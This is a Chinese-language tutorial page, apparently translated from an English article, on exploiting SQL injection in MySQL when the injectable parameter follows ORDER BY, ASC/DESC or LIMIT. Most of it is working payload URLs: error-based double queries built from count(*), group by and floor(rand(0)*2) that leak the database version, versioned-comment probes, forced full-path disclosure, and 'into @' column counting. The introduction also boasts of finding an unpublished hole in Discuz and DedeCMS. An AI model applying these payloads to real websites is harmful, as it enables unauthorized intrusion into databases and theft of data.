网站地图    收藏   

主页 > 后端 > 网站安全 >

“不正确的使用union和order by”这个教程会指示你

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 在写翻译下面这文档的时候,既然鬼使神差的发现了dz和de的xday,当然鸡肋,也繁琐。类似的代码php codeSELET * FROM page WHERE id=1 ORDER BY id [参数] ASC [参数] LIMIT 10,10 [参数][参数] ......

在写翻译下面这文档的时候,既然鬼使神差的发现了dz和de的xday,当然鸡肋,也繁琐。
 
类似的代码
php code
SELET * FROM page WHERE id=1 ORDER BY id [参数] ASC [参数] LIMIT 10,10 [参数]
[参数] – 为存在注入的参数
我们不能在这注入上使用union,所以我们只能使用其他我们可以利用的
 
在order by id [参数] 之后使用双重查询
 
假设有以下网站
code:
http://www.domain.com/include/products.php?sb=id–这是id是在order by [id]的一个注入点
 
我知道我可以利用union在另外一个注入点,我要做这样的测试
在order by之后,我们唯一不能使用——unoin,having,where,and还有一些无关紧要的关键字
我们可以使用and进行双重查询
Code:
 
http://www.domain.com/include/products.php?sb=id and (select count(*) from products group by concat(version(),0x27202020,floor(rand(0)*2-1)))--'5.0.95-community'
(我用’products’这个表,因为我可以从这个表中看到存在的错误,如果你看不到表,可以使用’information_schema.columns’)
 
在desc/asc [参数] 之后使用双重查询
 
假设有以下网站
code:
http://www.domain.com/include/products.php?sb=id–这是id是在desc [id]的一个注入点
在desc/asc之后它的小问题,因为我们不可以使用——union,having,where,and,or,xor,*,>,所以我们不能执行查询命令
所以我们只要加上一个’,'就可以和语句进行查询了
Code:
 
http://www.domain.com/include/products.php?sb=id desc,(select count(*) from users group by concat(version(),0x27202020,floor(rand(0)*2-1)))'5.0.95-community'
假设注入如下
PHP Code:
SELECT * FROM page WHERE id=1 ORDER BY [参数] id
添加’1′就可以和最初一样注入了
Code:
1 and (select count(*) from products group by concat(version(),0×27202020,floor(rand(0)*2-1)))–
在limit 10,10 [参数]之后
使用一些技巧
 
假设有以下网址
Code:
 
http://www.2cto.com /include/products.php?rw=10
–注入点在是limit 10这样的形式
当注入点在limit之后,我们什么都做不了,只有以下这些命令
 
offset,into,into outfile/dumpfile,/*!*/,for update,lock in share mode
所以我们想试试我们能利用的
如下:
获取版本
爆出路径
获取字段总数
 
获取版本
我们可以利用评论去获取mysql的版本
我们可以手工去猜它,如果它返回正确,那么页面将不会载入,就像盲注一样,但是有区别
Code:
http://www.domain.com/include/products.php?rw=10 /*!50094aaaa*/页面没有载入说明版本大于5.00.94
Code:
http://www.domain.com/include/products.php?rw=10 /*!50096aaaa*/页面没有载入说明版本小雨5.00.96
Code:
http://www.domain.com/include/products.php?rw=10 /*!50095aaaa*/页面没有载入说明版本等于5.00.95
 
爆出完整路径,我们可以用0或/**/这样的like格式,就可以爆出完整的路径,即便是mysql上报错也可以
Code:
 
http://www.domain.com/include/products.php?rw=0–这是完整的命令
 
PHP Code:
select * from….limit 0,0
 
我们也可以这样
Code:
 
http://www.domain.com/include/products.php?rw=/**/1
提示报错
 
Division by zero in /home/teletec/public_html/include/products.php on line 164
获取字段总数
使用into
它不会真正帮助到我们,但是它是一个不错的技巧
假设我们有以下的网站
Code:
 
http://www.domain.com/include/products.php?rw=10--注射点在like的参数里
我们可以这样获取到字段总数
Code:
 
http://www.domain.com/include/products.php?rw=10 into @
提示报错
error 1222.
not 1 column.
继续递增@
Code:
 
http://www.domain.com/include/products.php?rw=10 into @,@
……
……
http://www.domain.com/include/products.php?rw=10 into @,@,[n..]
一直到返回以下这样的错误
 
error 1172 "Result consisted of more than one row"
则可以确定有多少个字段
 
希望大家在这些技巧里能学到东西。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论